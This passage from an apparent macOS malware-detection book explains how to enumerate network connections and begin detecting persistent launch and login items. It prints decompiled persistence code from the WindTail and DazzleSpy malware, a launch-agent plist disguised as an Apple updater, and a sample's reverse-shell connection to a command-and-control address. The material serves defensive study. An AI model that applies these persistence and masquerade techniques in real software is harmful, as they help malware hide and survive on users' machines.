Apple’s sys/proc_info.h file.

I mentioned that not all sockets are related to network activity. As such, 
the code focuses only on the networking sockets whose family is either 
AF_INET or AF_INET6. These sockets are often referred to as Internet Protocol 
(IP) sockets. We can find a socket’s family in the socket_fdinfo structure by 
examining the soi_family member of its psi member (Listing 4-4).

if( (AF_INET != socketInfo.psi.soi_family) && (AF_INET6 != socketInfo.psi.soi_family) )  {
    continue;
}

Listing 4-4: Examining a socket’s family

Because we execute this code within the for loop, we skip any non-IP 
socket by executing the continue statement, which advances to the next.

The remainder of the code extracts various information from the socket 
_fdinfo structure and saves it into a dictionary. You’ve already seen this fam-
ily, which should be either AF_INET or AF_INET6 (Listing 4-5).
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NSMutableDictionary* details = [NSMutableDictionary dictionary];
details[@"family"] = (AF_INET == socketInfo.psi.soi_family) ? @"IPv4" : @"IPv6";

Listing 4-5: Extracting a socket’s family type

We can find the socket’s protocol in the soi_kind member of the psi 
structure. (Recall that psi is a socket_info structure.) It’s important to take 
into account the differences between protocols when extracting informa-
tion from the socket, because you’ll have to reference different structures. 
For UDP sockets, which have soi_kind set to SOCKINFO_IN, we use the pri_in 
member of the soi_proto structure, whose type is in_sockinfo. On the other 
hand, for TCP sockets (SOCKINFO_TCP), we use pri_tcp, a tcp_sockinfo structure 
(Listing 4-6).

if(SOCKINFO_IN == socketInfo.psi.soi_kind) {
    struct in_sockinfo sockInfo_IN = socketInfo.psi.soi_proto.pri_in;
    // Add code to extract information from the UDP socket.
} else if(SOCKINFO_TCP == socketInfo.psi.soi_kind) {
    struct tcp_sockinfo sockInfo_TCP = socketInfo.psi.soi_proto.pri_tcp;
    // Add code to extract information from the TCP socket.
}

Listing 4-6: Extracting UDP or TCP socket structures

Once we’ve identified the appropriate structure, extracting information 
such as the local and remote endpoints for the socket is largely the same for 
either socket type. Even so, UDP sockets generally aren’t bound, so informa-
tion about the remote endpoint won’t always be available. Moreover, these 
sockets are stateless, whereas TCP sockets will have a state.

Let’s now look at the code to extract information of interest from a TCP 
socket, starting with both the local and remote ports (Listing 4-7).

} else if(SOCKINFO_TCP == socketInfo.psi.soi_kind) {
    struct tcp_sockinfo sockInfo_TCP = socketInfo.psi.soi_proto.pri_tcp;
    details[@"protocol"] = @"TCP";

    details[@"localPort"] =
    [NSNumber numberWithUnsignedShort:ntohs(sockInfo_TCP.tcpsi_ini.insi_lport)]; 1

    details[@"remotePort"] =
    [NSNumber numberWithUnsignedShort:ntohs(sockInfo_TCP.tcpsi_ini.insi_fport)]; 2
    ...
}

Listing 4-7: Extracting the local and remote ports from a TCP socket

We can find the local and remote ports in the insi_lport 1 and insi 
_fport 2 members of the tcpsi_ini structure, itself an in_sockinfo structure. 
As these ports are stored in network-byte ordering, we convert them to host-
byte ordering with the ntohs API.

Next, we retrieve the local and remote addresses from the same tcpsi 
_ini structure. Which structure members we access depends on whether 
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the addresses are IPv4 or IPv6. In Listing 4-8, we extract IPv4 (AF_INET) 
addresses.

#import <arpa/inet.h>

if(AF_INET == socketInfo.psi.soi_family) {
    char source[INET_ADDRSTRLEN] = {0};
    char destination[INET_ADDRSTRLEN] = {0};

    inet_ntop(AF_INET,
    &(sockInfo_TCP.tcpsi_ini.insi_laddr.ina_46.i46a_addr4), source, sizeof(source)); 1

    inet_ntop(AF_INET, &(sockInfo_TCP.tcpsi_ini.insi_faddr.ina_46.i46a_addr4),
    destination, sizeof(destination)); 2
}

Listing 4-8: Extracting local and remote IPv4 addresses

As shown in the code, we invoke the inet_ntop function to convert the IP 
addresses to human-readable strings. The local address is in the insi_laddr 
member 1, while the remote address is in insi_faddr 2. The addresses spec-
ify their maximum length using the INET_ADDRSTRLEN constant, which also 
accounts for a NULL terminator.

For IPv6 (AF_INET6) sockets, we use the inet_ntop function once again but 
pass it an in6_addr structure (named ina_6 in the in_sockinfo structure). Also 
note that the output buffers should be of size INET6_ADDRSTRLEN (Listing 4-9).

if(AF_INET6 == socketInfo.psi.soi_family) {
    char source[INET6_ADDRSTRLEN] = {0};
    char destination[INET6_ADDRSTRLEN] = {0};

    inet_ntop(AF_INET6,
    &(sockInfo_IN.insi_laddr.ina_6), source, sizeof(source));

    inet_ntop(AF_INET6,
    &(sockInfo_IN.insi_faddr.ina_6), destination, sizeof(destination));
}

Listing 4-9: Extracting local and remote IPv6 addresses

Finally, we can find the state of the TCP connection (whether it’s 
closed, listening, established, and so on) in the tcpsi_state member of the 
tcp_sockinfo structure. The sys/proc_info.h header file defines the possible 
states as follows:

#define TSI_S_CLOSED            0       /* closed */
#define TSI_S_LISTEN            1       /* listening for connection */
#define TSI_S_SYN_SENT          2       /* active, have sent syn */
#define TSI_S_SYN_RECEIVED      3       /* have sent and received syn */
#define TSI_S_ESTABLISHED       4       /* established */
...
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In Listing 4-10, we convert a subset of these numeric values to human-
readable strings with a simple switch statement.

switch(sockInfo_TCP.tcpsi_state) {
    case TSI_S_CLOSED:
        details[@"state"] = @"CLOSED";
        break;

    case TSI_S_LISTEN:
        details[@"state"] = @"LISTEN";
        break;

    case TSI_S_ESTABLISHED:
        details[@"state"] = @"ESTABLISHED";
        break;
    ...
}

Listing 4-10: Converting TCP states (tcpsi_state) to human-readable strings

Now, what if you wanted to resolve the destination IP address to a 
domain? One option is to use the getaddrinfo API, which can accomplish 
this synchronously. This function will reach out to DNS servers to map the 
IP address to a domain, so you may want to perform this operation in a 
separate thread or use its asynchronous version, getaddrinfo_a. Listing 4-11 
shows a simple helper function that accepts an IP address as a char* string 
and then attempts to resolve it to a domain and return it as a string object.

#import <netdb.h>
#import <sys/socket.h>

NSString* hostForAddress(char* address) {
    struct addrinfo* results = NULL;
    char hostname[NI_MAXHOST] = {0};
    NSString* resolvedName = nil;
  1 if(0 == getaddrinfo(address, NULL, NULL, &results)) {
      2 for(struct addrinfo* r = results; r != NULL; r = r->ai_next) {
            if(0 == getnameinfo(r->ai_addr, r->ai_addrlen,
              3 hostname, sizeof(hostname), NULL, 0, 0)) {
                resolvedName = [NSString stringWithUTF8String:hostname];
                break;
            }
        }
    }
    if(NULL != results) {
        freeaddrinfo(results);
    }

    return resolvedName;
}

Listing 4-11: Resolving an address to a domain
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IP addresses can resolve to multiple hostnames or none at all. The lat-
ter case is common in malware that includes a hardcoded IP address for its 
remote server, which may not have a domain name entry.

The IP address-to-host resolution code first invokes the getaddrinfo 
function with the passed-in IP address 1. If this call succeeds, it allocates 
and initializes a list of structures of type addrinfo for the specified address, 
as there may be multiple responses. The code then begins iterating over 
this list 2, invoking the getnameinfo function on the addrinfo structures 3. 
If the getnameinfo function succeeds, the code converts the name to a string 
object and exits the loop, though it could also keep iterating to build up a 
list of all resolved names.

Running the Tool
Let’s compile and run the network enumeration code, found in the enumerate 
NetworkConnections project, on a system that is infected with Dummy. The 
code looks at only one process at a time, so we specify the process ID (96202) 
belonging to the instance of Dummy’s Python script as an argument:

% ./enumerateNetworkConnections 96202
Socket details: {
    family = "IPv4";
    protocol = "TCP";
    localPort = 63353;
    localIP = "192.168.1.245";
    remotePort = 1337;
    remoteIP = "185.243.115.230";
    resolved = "pttr2.qrizi.com";
    state = "ESTABLISHED";
}

As expected, the tool is able to enumerate Dummy’s connection to the 
attacker’s command-and-control server. Specifically, it shows the informa-
tion about both the local and remote endpoints of the connection, as well 
as the connection’s family, protocol, and state.

To improve this code in production, you would likely want to enumerate 
all network connections, not only those for the single process a user specified. 
You could easily extend the code to first retrieve a list of running processes 
and then iterate through this list to enumerate each process’s network connec-
tions. Recall that in Chapter 1 I showed how to retrieve a list of process IDs.

Enumerating Network Connections
I noted that one minor downside to using the proc_pid* APIs is that they 
are process specific. That is to say they don’t return information about 
system-wide network activity. Although we could easily iterate over each 
process to get a broader look at the system’s network activity, the private 
NetworkStatistics framework provides a more efficient way to accomplish this 
task. It also offers statistics about each connection, which can help us detect 
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malware specimens (for example, those that exfiltrate large amounts of 
data from an infected system).

In this section, we’ll use this framework to take a one-time snapshot 
of global network activity, and in Chapter 7, we’ll leverage it to continually 
receive updates about network activity as it occurs.

The NetworkStatistics framework underlies a relatively unknown network-
ing utility that macOS ships with: nettop. When executed from the terminal, 
nettop displays system-wide network activity grouped by process. Here is the 
abridged output from nettop when run on my Mac:

% nettop
launchd.1
    tcp6 *.49152<->*.*
        Listen

timed.352
    udp4 192.168.1.245:123<->usscz2-ntp-001.aaplimg.com:123

WhatsApp Helper.1186
    tcp6 2603:800c:2800:641::cc.54413<->whatsapp-cdn6-shv-01-lax3.fbcdn.net.443   Established

com.apple.WebKi.78285
tcp6 2603:800c:2800:641::cc.54863<->lax17s49-in-x0a.1e100.net.443  Established
tcp4 192.168.1.245:54810<->104.244.42.66:443   Established
tcp4 192.168.1.245:54805<->104.244.42.129:443  Established

Signal Helper (.8431
tcp4 192.168.1.245:54874<->ac88393aca5853df7.awsglobalaccelerator.com:443    Established
tcp4 192.168.1.245:54415<->ac88393aca5853df7.awsglobalaccelerator.com:443    Established

We can use otool to see that nettop leverages the NetworkStatistics frame-
work. In older versions of macOS, you’ll find this framework in /System/
Library/PrivateFrameworks/, while on newer versions, it’s stored in the dyld 
shared cache:

% otool -L /usr/bin/nettop
/usr/bin/nettop:
  /System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation
  /usr/lib/libncurses.dylib
  /System/Library/PrivateFrameworks/NetworkStatistics.framework/Versions/A/NetworkStatistics
  /usr/lib/libSystem.B.dylib

Let’s programmatically enumerate system-wide network activity using 
this framework, which can provide us with network statistic objects rep-
resenting listening sockets, network connections, and more. The macOS 
guru Jonathan Levin first documented this approach in his netbottom com-
mand line tool.6 The code presented in this section, and in this chapter’s 
 enumerateNetworkStatistics project, is directly inspired by his project.
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Linking to NetworkStatistics
Any program that leverages a framework must either be linked in at com-
pile time or dynamically loaded at runtime. In Xcode, you can add a frame-
work to the Link Binary with Libraries list under Build Phases (Figure 4-2).

Figure 4-2: Linking to the NetworkStatistics framework

Because the NetworkStatistics framework is private, there is no publicly 
available header file, so you’ll have to manually define its APIs and con-
stants. For example, you can create an instance of a network statistic man-
ager using the NStatManagerCreate API, but you must first define this API, as 
shown in Listing 4-12.

NStatManagerRef NStatManagerCreate(
const struct __CFAllocator*, dispatch_queue_t, void (^)(void*, int));

Listing 4-12: A function definition for the private NStatManagerCreate API

Similarly, you must define all constants, such as the keys in the diction-
ary that describe each network statistic object. For example, Listing 4-13 
shows how you would define kNStatSrcKeyPID, the key that holds the ID of the 
process responsible for the network connection in question.

extern CFStringRef kNStatSrcKeyPID;

Listing 4-13: A definition of the private kNStatSrcKeyPID constant

See this chapter’s enumerateNetworkStatistics project’s header file for all 
function and constant definitions.

Creating Network Statistic Managers
Now that we’ve linked to the NetworkStatistics framework and defined the  
necessary APIs and constants, it’s time to write some code. In Listing 4-14,  
we create a network statistic manager via the NStatManagerCreate API. This 
manager is an opaque object required for subsequent NetworkStatistics  
API calls.



114   Chapter 4

As its first parameter, NStatManagerCreate API takes a memory allocator. 
Here, we use the default allocator, kCFAllocatorDefault. The second param-
eter is a dispatch queue, where we’ll execute the callback block specified in 
the third argument. I recommend using a custom dispatch queue rather 
than the main thread’s dispatch queue to avoid overusing, and potentially 
blocking, the main thread.

1 dispatch_queue_t queue = dispatch_queue_create("queue", NULL);

NStatManagerRef manager = NStatManagerCreate(kCFAllocatorDefault, queue,
2 ^(NStatSourceRef source, int unknown) {
    // Add code here to complete the implementation.
});

Listing 4-14: Initializing a network statistic manager

After we initialize the dispatch queue 1, we invoke NStatManagerCreate to 
create a manager object. The last parameter for this API is a callback block 
that the framework will invoke during a query. It takes two arguments: an 
NStatSourceRef object representing a network statistic and an integer whose 
meaning is unknown (but that also doesn’t appear relevant to our code) 2. 
In the next section, I’ll explain how to extract network information of inter-
est when the framework invokes this callback.

Defining Callback Logic
The framework will invoke the NStatManagerCreate callback block auto-
matically when we kick off a query using the NStatManagerQuery AllSources 
Descriptions API, which is discussed shortly. To extract information from 
each network statistic object passed into the callback block, we invoke the 
NStatSourceSetDescriptionBlock API to specify yet another callback block. 
Here is this function’s definition:

void NStatSourceSetDescriptionBlock(NStatSourceRef arg, void (^)(NSMutableDictionary*));

We call this function with the NStatSourceRef object and a callback block, 
which the framework will invoke asynchronously with a dictionary contain-
ing information about the network statistic object (Listing 4-15).

NStatManagerRef = NStatManagerCreate(kCFAllocatorDefault, queue, 
^(NStatSourceRef source, int unknown) {
    NStatSourceSetDescriptionBlock(source, ^(NSMutableDictionary* description) {
        printf("%s\n", description.description.UTF8String);
    });
});

Listing 4-15: Setting a description callback block
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As it stands, the code won’t perform any operation until we start a 
query. Once we’ve started a query, it will invoke this block; for now, we sim-
ply print out the dictionary that describes the network statistic object.

Starting Queries
Before starting a query, we must tell the framework what network statistics 
we’re interested in. For statistics on all TCP and UDP network sockets and 
connections, we invoke the NStatManagerAddAllTCP and NStatManagerAddAllUDP 
functions, respectively. As you can see in Listing 4-16, both take a network 
statistic manager (which we’ve previously created) as their only argument.

NStatManagerAddAllTCP(manager);
NStatManagerAddAllUDP(manager);

Listing 4-16: Querying for statistics about TCP and UDP network events

Now we can kick off the query via the NStatManagerQueryAll Sources 
Descriptions function (Listing 4-17).

dispatch_semaphore_t semaphore = dispatch_semaphore_create(0);

1 NStatManagerQueryAllSourcesDescriptions(manager, ^{
  2 dispatch_semaphore_signal(semaphore);
});

3 dispatch_semaphore_wait(semaphore, DISPATCH_TIME_FOREVER);
4 NStatManagerDestroy(manager);

Listing 4-17: Querying all network sources

Once we invoke the NStatManagerQueryAllSourcesDescriptions function 1, 
the network statistic query will begin, invoking the callback block we set for 
each network statistic object to provide a comprehensive snapshot of the 
current state of the network.

The NStatManagerQueryAllSourcesDescriptions function takes the network 
statistic manager and yet another callback block to invoke when the network 
query completes. In this implementation, we’re interested in a one-time 
snapshot of the network, so we signal a semaphore 2 on which the main 
thread is waiting 3. When the query completes, we clean up the network 
statistic manager using the NStatManagerDestroy function 4.

Running the Tool
If we compile and run this code, it will enumerate all network connections 
and listening sockets, including Dummy’s remote shell connection:

% ./enumerateNetworkStatistics
...
{
    TCPState = Established;
    ...
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    ifWiFi = 1;
    interface = 12;
    localAddress = {length = 16, bytes = 0x1002c7f9c0a801f50000000000000000};
    processID = 96202;
    processName = Python;
    provider = TCP;
    ...
    remoteAddress = {length = 16, bytes = 0x10020539b9f373e60000000000000000};
    ...
}

The local address (kNStatSrcKeyLocal) and remote address (kNStatSrcKey 
Remote) are stored in NSData objects, which contain sockaddr_in or sockaddr_in6 
structures. If you want to convert them into printable strings, you’ll need to 
invoke routines such as inet_ntop. Listing 4-18 shows the code to do this.

NSString* convertAddress(NSData* data) {
    in_port_t port = 0;
    char address[INET6_ADDRSTRLEN] = {0};

    struct sockaddr_in* ipv4 = NULL;
    struct sockaddr_in6* ipv6 = NULL;

    if(AF_INET == ((struct sockaddr*)data.bytes)->sa_family) { 1
        ipv4 = (struct sockaddr_in*)data.bytes;
        port = ntohs(ipv4->sin_port);
        inet_ntop(AF_INET, (const void*)&ipv4->sin_addr, address, INET_ADDRSTRLEN);
    } else if (AF_INET6 == ((struct sockaddr*)data.bytes)->sa_family) { 2
        ipv6 = (struct sockaddr_in6*)data.bytes;
        port = ntohs(ipv6->sin6_port);
        inet_ntop(AF_INET6, (const void*)&ipv6->sin6_addr, address, INET6_ADDRSTRLEN);
    }

    return [NSString stringWithFormat:@"%s:%hu", address, port];
}
...

NStatManagerRef = NStatManagerCreate(kCFAllocatorDefault, queue,
^(NStatSourceRef source, int unknown) {
    NStatSourceSetDescriptionBlock(source, ^(NSMutableDictionary* description) {
        NSData* source = description[(__bridge NSString*)kNStatSrcKeyLocal];
        NSData* destination = description[(__bridge NSString*)kNStatSrcKeyRemote];

        printf("%s\n", description.description.UTF8String);
        printf("%s -> %s\n",
        convertAddress(source).UTF8String, convertAddress(destination).UTF8String); 3
    });
});

Listing 4-18: Converting a data object into a human-readable address and port
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This simple helper function accepts a network statistic address and 
then extracts and formats the port and IP address for both IPv4 1 and 
IPv6 addresses 2. Here, it prints out both the source and destination 
endpoints 3 to provide more readable output. As an example, the 
following output displays statistics about Dummy’s reverse shell:

% ./enumerateNetworkStatistics
...
{
    TCPState = Established;
    ...
    ifWiFi = 1;
    interface = 12;
    localAddress = 192.168.1.245:63353
    processID = 96202;
    processName = Python;
    provider = TCP;
    ...
    remoteAddress = 185.243.115.230:1337
    ...
}

Although not shown in this abridged output, the network statistic 
dictionary also contains kNStatSrcKeyTxBytes and kNStatSrcKeyRxBytes keys, 
which hold the number of bytes uploaded and downloaded, respectively. 
Listing 4-19 shows how one might programmatically extract these traffic 
statistics as unsigned long integers.

NStatSourceSetDescriptionBlock(source, ^(NSMutableDictionary* description) {
    unsigned long bytesUp =
    [description[(__bridge NSString *)kNStatSrcKeyTxBytes] unsignedLongValue];

    unsigned long bytesDown =
    [description[(__bridge NSString *)kNStatSrcKeyRxBytes] unsignedLongValue];
    ...
});

Listing 4-19: Extracting traffic statistics

This data can help us gain insight into traffic trends. For example, a con-
nection with a large number of uploaded bytes tied to an unknown process 
may reveal malware exfiltrating a large amount of data to a remote server.

Conclusion
The majority of malware interacts with the network, providing us with the 
opportunity to build powerful heuristics. In this chapter, I presented two 
methods of programmatically enumerating the state of a network and then 
associating this state with the responsible processes. The ability to identify 
the process responsible for a listening socket or established connection 
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is essential for accurately detecting malware and is one of the main 
advantages of host-based approaches over network-centric ones.

So far, we’ve built heuristics based on information gleaned from pro-
cesses (in Chapter 1), binaries (in Chapter 2), code signing (in Chapter 3), 
and the network (in this chapter). But the operating system provides other 
sources of detection as well. In the next chapter, you’ll dive into the detec-
tion of persistence techniques.
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Arguably one of the best ways to detect 
malicious threats on macOS is to focus on 

persistence. Here, persistence refers to the 
means by which software, including malware, 

installs itself on a system to ensure it will automatically 
re-execute upon startup, user login, or some other 
deterministic event. Otherwise, it might never run 
again if the user logs out or the system reboots. In 
this chapter, I focus solely on enumerating persistent 
items. In Part II, where I cover approaches that allow 
events to be observed as they occur, I’ll discuss how 
to leverage Apple’s Endpoint Security to monitor for 
persistence events.

As a shared characteristic of most malware, persistence serves as a 
robust detection mechanism capable of uncovering most infections. On 

5
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macOS, malware generally persists in one of two ways: as launch items 
(daemons or agents) or as login items. In this chapter, I’ll show you exactly 
how to enumerate such items to reveal almost any Mac malware specimen.

Of course, not all macOS malware persists. For example, ransomware 
that encrypts user files or stealers that grab and exfiltrate sensitive user data 
often have no need to run multiple times, and thus rarely install themselves 
persistently.

On the other hand, legitimate programs designed to run continuously, 
such as auto-updaters, security tools, or even simple helper utilities, also 
tend to persist. Thus, the fact that something is persistently installed doesn’t 
mean our code should flag it as malicious.

Examples of Persistent Malware
Because this chapter focuses on uncovering malware that persists as either 
a login item or a launch item, let’s start with a brief example of each. 
Initially disclosed by the researcher Taha Karim, the WindTail malware tar-
geted employees working in government and critical infrastructure in the 
Middle East.1 In a detailed research paper,2 I noted that the malware, which 
often masquerades as a PowerPoint presentation named Final_Presentation, 
persists itself as a login item to ensure that it automatically re-executes each 
time the user logs in. In the malware’s application bundle, we find its main 
binary, a file named usrnode. Decompiling this file uncovers the persistence 
logic at the start of its main function:

int main(int argc, const char* argv[])
    r12 = [NSURL fileURLWithPath:NSBundle.mainBundle.bundlePath];

    rbx = LSSharedFileListCreate(0x0, _kLSSharedFileListSessionLoginItems, 0x0);
    LSSharedFileListInsertItemURL(rbx, _kLSSharedFileListItemLast, 0x0, 0x0, r12, 0x0, 0x0);
    ...
}

Once the malware determines where on the host it’s running from, it 
invokes the LSSharedFileListCreate and LSSharedFileListInsertItemURL func-
tions to install itself as a persistent login item. This login item makes the 
malware visible in the Login Items pane of the System Preferences appli-
cation (Figure 5-1). Apparently, the malware authors considered this an 
acceptable trade-off for persistence.
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Figure 5-1: WindTail persists itself as a login item named Final_Presentation.

Let’s take a look at another persistent macOS malware specimen. 
Named DazzleSpy, this sophisticated nation-state malware leveraged zero-
day vulnerabilities to remotely infect macOS users.3 While DazzleSpy’s 
infection vector posed detection challenges, the malware’s approach to 
persistence was rather obvious, giving defenders a straightforward way to 
detect it.

After gaining initial code execution and escaping the browser sand-
box, DazzleSpy would persist itself as a launch agent that masqueraded as 
an Apple software updater. To persist as a launch agent, an item usually 
creates a property list in one of the LaunchAgents directories. DazzleSpy 
creates a property list within the current user’s Library/LaunchAgents direc-
tory and names its property list com.apple.softwareupdate.plist. The malware’s 
binary hardcodes references to the launch agent directory, as well as to the 
name of the plist, making them readily visible in the output of the strings 
command:

% strings - DazzleSpy/softwareupdate
...
%@/Library/LaunchAgents
/com.apple.softwareupdate.plist

If we load the malware in a decompiler, we find a class method named 
installDaemon that makes use of these strings. As its name implies, the method 
will persistently install the malware (albeit not as a launch daemon, but 
rather as an agent):

+(void)installDaemon {
    rax = NSHomeDirectory();
    ...
    var_78 = [NSString stringWithFormat:@"%@/Library/LaunchAgents", rax];
    var_80 = [var_78 stringByAppendingFormat:@"/com.apple.softwareupdate.plist"];
    ...
    var_90 = [[NSMutableDictionary alloc] init];
    var_98 = [[NSMutableArray alloc] init];
    ...
    rax = @(YES);
    [var_90 setObject:rax forKey:@"RunAtLoad"];



122   Chapter 5

    [var_90 setObject:@"com.apple.softwareupdate" forKey:@"Label"];
    [var_90 setObject:var_98 forKey:@"ProgramArguments"];
    ...
    [var_90 writeToFile:var_80 atomically:0x0];
...
}

From this decompilation, we can see that the malware first dynamically 
builds a path to the current user’s Library/LaunchAgents directory and then 
appends the string com.apple.softwareupdate.plist to it. It then builds a diction-
ary with keys such as RunAtLoad, Label, and ProgramArguments, whose values 
describe how to restart the persisted item, how to identify it, and its path. 
To complete the persistence, the malware writes this dictionary to the prop-
erty list file in the launch agent directory.

By executing the malware on an isolated analysis machine under the 
watchful eye of a file monitor, we can confirm DazzleSpy’s persistence. As 
expected, the file monitor shows the binary (softwareupdate) creating its 
property list file in the current user’s LaunchAgents directory:

# FileMonitor.app/Contents/MacOS/FileMonitor -pretty
...
{
  "event" : "ES_EVENT_TYPE_NOTIFY_CREATE",
  "file" : {
    "destination" : "/Users/User/Library/LaunchAgents/com.apple.softwareupdate.plist",
    "process" : {
      "pid" : 1469,
      "name" : "softwareupdate",
      "path" : "/Users/User/Desktop/softwareupdate"
    }
  }
}

Then, by examining the contents of this newly created file, we can find 
the path to which the malware has persistently installed itself, /Users/User/ 
.local/softwareupdate:

<?xml version=”1.0” encoding=”UTF-8”?>
...
<plist version="1.0">
<dict>
    <key>KeepAlive</key>
    <true/>
    <key>Label</key>
    <string>com.apple.softwareupdate</string>
    <key>ProgramArguments</key>
    <array>
        <string>/Users/User/.local/softwareupdate</string>
        <string>1</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
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    <key>SuccessfulExit</key>
    <true/>
</dict>
</plist>

The malware set the RunAtLoad key to true, so macOS will automatically 
restart the specified binary each time the user logs in. In other words, 
DazzleSpy has attained persistence.

At the start of this chapter, I mentioned that legitimate software also 
persists. How can you determine whether a persisted item is malicious? 
Arguably the best way involves examining the item’s code signing informa-
tion using the approaches described in Chapter 3. Legitimate items should 
be signed by readily recognizable companies and notarized by Apple.

Malicious persisted items often have common characteristics too. 
Consider DazzleSpy, which runs from the hidden .local directory and isn’t 
signed or notarized. The name of the malware’s property list, com.apple 
.softwareupdate, suggests that this persistent item belongs to Apple. However,  
Apple never installs persistent components to users’ LaunchAgents directories, 
and all of its launch items reference binaries signed solely by Apple proper. 
In these respects, DazzleSpy isn’t an outlier; most malicious persistent items 
are equally easy to classify as suspicious due to such anomalies.

Background Task Management
How can we determine whether an item has persisted? A naive approach 
is to simply enumerate all .plist files found in the launch item directories, 
which include the system and user LaunchDaemon and LaunchAgent directo-
ries. However, as of macOS 13, Apple encourages developers to move their 
launch items directly into their application bundles.4 These changes essen-
tially deprecate persistence via a user’s launch item directories, meaning 
that manually enumerating persistent items requires scanning every appli-
cation bundle, which is inefficient. Moreover, software can persist as login 
items, which don’t leverage property lists or dedicated directories.

Luckily, starting with macOS 13, Apple has consolidated the manage-
ment of the most common persistence mechanisms (including launch 
agents, launch daemons, and login items) into a proprietary subsystem 
named Background Task Management. This subsystem provides the list of 
login and launch items that populate the Login Items pane in the System 
Preferences application (Figure 5-2).
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Figure 5-2: Login and launch items shown in the System Preferences app

On my computer, several of my Objective-See tools install themselves as 
login items, while Adobe’s cloud-syncing app and Google Chrome’s updater 
install persistent launch items.

Of course, we want the ability to obtain this list of persistent items pro-
grammatically, as any persistent malware will likely show up here as well. 
Although the components of the Background Task Management subsystem 
are proprietary and closed source, dynamic analysis reveals that the subsys-
tem stores detailed metadata about the persistent items it tracks in a single 
database file. For our purposes, the presence of this centralized database is 
a godsend. Unfortunately, as its format is proprietary and undocumented, 
we have a bit of work in front of us if we’d like to use it.

Examining the Subsystem
Let’s walk through the Background Task Management subsystem’s interac-
tions with this database. Understanding these operations will help us create 
a tool capable of programmatically extracting its contents. Using a file 
monitor, we can see that when an item is persisted, the Background Task 
Management daemon, backgroundtaskmanagementd, updates a file in the  
/private/var/db/com.apple.backgroundtaskmanagement/ directory. To perform 
this operation atomically, it first creates a temporary file, then moves it into 
the com.apple.backgroundtaskmanagement directory via a rename operation:

# FileMonitor.app/Contents/MacOS/FileMonitor -pretty
{
  "event" : "ES_EVENT_TYPE_NOTIFY_CREATE",
  "file" : {
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    "destination" :
    "/private/var/folders/zz/.../TemporaryItems/.../BackgroundItems-vx.btm",
    "process" : {
       "pid" : 612,
       "name" : "backgroundtaskmanagementd",
       ...
     }
  }
  ...
}

{
  "event" : "ES_EVENT_TYPE_NOTIFY_WRITE",
  "file" : {
    "destination" :
    "/private/var/folders/zz/.../TemporaryItems/.../BackgroundItems-vx.btm",
    "process" : {
      "pid" : 612,
      "name" : "backgroundtaskmanagementd",
      ...
    }
  }
  ...
}

{
  "event" : "ES_EVENT_TYPE_NOTIFY_RENAME",
  "file" : {
    "source" :
    "/private/var/folders/zz/.../TemporaryItems/.../BackgroundItems-vx.btm",
    "destination" :
    "/private/var/db/com.apple.backgroundtaskmanagement/BackgroundItems-vx.btm",
    "process" : {
      "pid" : 612,
      "name" : "backgroundtaskmanagementd",
      ...
    }
  }
  ...
}

If we disassemble the daemon’s binary, located in the /System/Library/
PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/Resources/ 
directory, we find references to a format string, BackgroundItems-v%ld.btm, in 
storeNameForDatabaseVersion:, a method of the BTMStore class:

+[BTMStore storeNameForDatabaseVersion:]
    pacibsp
    sub    sp, sp, #0x20
    stp    fp, lr, [sp, #0x10]
    add    fp, sp, #0x10
    nop
    ldr    x0, =_OBJC_CLASS_$_NSString
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    str    x2, [sp, #0x10 + var_10]
    adr    x2, #0x100031f10            ; @"BackgroundItems-v%ld.btm"
    ...

Further reverse engineering reveals that the name of the database 
contains a version number, which increases as newer versions of macOS are 
released. In the examples shown here, we’ve abstracted this version number 
with an x, but on your system, it’s likely to be 8 or higher. Using the file com-
mand, we can see that the contents of the BackgroundItems-vx.btm file are 
stored as a binary property list. To view these details yourself, be sure to sup-
ply the correct version number for your system when running the command:

% file /private/var/db/com.apple.backgroundtaskmanagement/BackgroundItems-vx.btm
/private/var/db/com.apple.backgroundtaskmanagement/BackgroundItems-vx.btm:
Apple binary property list

We can convert the contents of a binary property into XML using plutil. 
Unfortunately, the resulting XML contains not only spelling mistakes but 
also serialized objects that aren’t readily human readable:

% plutil -p /private/var/db/com.apple.backgroundtaskmanagement/BackgroundItems-vx.btm
{
  "$archiver" => "NSKeyedArchiver"
  "$objects" => [
    0 => "$null"
    1 => {
      "$class" =>
      <CFKeyedArchiverUID 0x600002854240 [0x1e3bcf9a0]>{value = 265}

      "itemsByUserIdentifier" =>
      <CFKeyedArchiverUID 0x600002854260 [0x1e3bcf9a0]>{value = 2}

      "mdmPaloadsByIdentifier" =>
      <CFKeyedArchiverUID 0x600002854280 [0x1e3bcf9a0]>{value = 263}

      "userSettingsByUserIdentifier" =>
      <CFKeyedArchiverUID 0x6000028542a0 [0x1e3bcf9a0]>{value = 257}
    }
    ...

    265 => {
      "$classes" => [
         0 => "Storage"
         1 => "NSObject"
      ]
      "$classname" => "Storage"
    }
    ...

Serialization is the process of taking an initialized, in-memory object 
and converting it to a format in which it can be saved (for example, to a 
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file). While serialization is an efficient way for programs to interact with 
objects, serialized objects aren’t generally human readable. Moreover, if the 
objects are of an undocumented class, we must first understand the internal 
details of the class before we can write code that makes sense of them.

As part of the Background Task Management subsystem, Apple ships a 
command line utility named sfltool that can interact with BackgroundItems-vx 
.btm files. If executed with the dumpbtm flag, the tool will deserialize and print 
out the file’s contents:

# sfltool dumpbtm

#1:
                 UUID: 8C271A5F-928F-456C-B177-8D9162293BA7
                 Name: softwareupdate
       Developer Name: (null)
                 Type: legacy daemon (0x10010)
          Disposition: [enabled, allowed, visible, notified] (11)
           Identifier: com.apple.softwareupdate
                  URL: file:///Library/LaunchDaemons/com.apple.softwareupdate.plist
      Executable Path: /Users/User/.local/softwareupdate
           Generation: 1
    Parent Identifier: Unknown Developer

#2:
        UUID: 9B6C3670-2946-4F0F-B58C-5D163BE627C0
                 Name: ChmodBPF
       Developer Name: Wireshark
      Team Identifier: 7Z6EMTD2C6
                 Type: curated legacy daemon (0x90010)
          Disposition: [enabled, allowed, visible, notified] (11)
           Identifier: org.wireshark.ChmodBPF
                  URL: file:///Library/LaunchDaemons/org.wireshark.ChmodBPF.plist
      Executable Path: /Library/Application Support/Wireshark/ChmodBPF/ChmodBPF
           Generation: 1
    Assoc. Bundle IDs: [org.wireshark.Wireshark ]
    Parent Identifier: Wireshark

In this example, the deserialized objects include DazzleSpy (software 
update) and Wireshark’s ChmodBPF daemon. As sfltool can produce deseri-
alized output from the proprietary database, reverse engineering it should 
help us understand its deserialization and parsing logic. This, in turn, should 
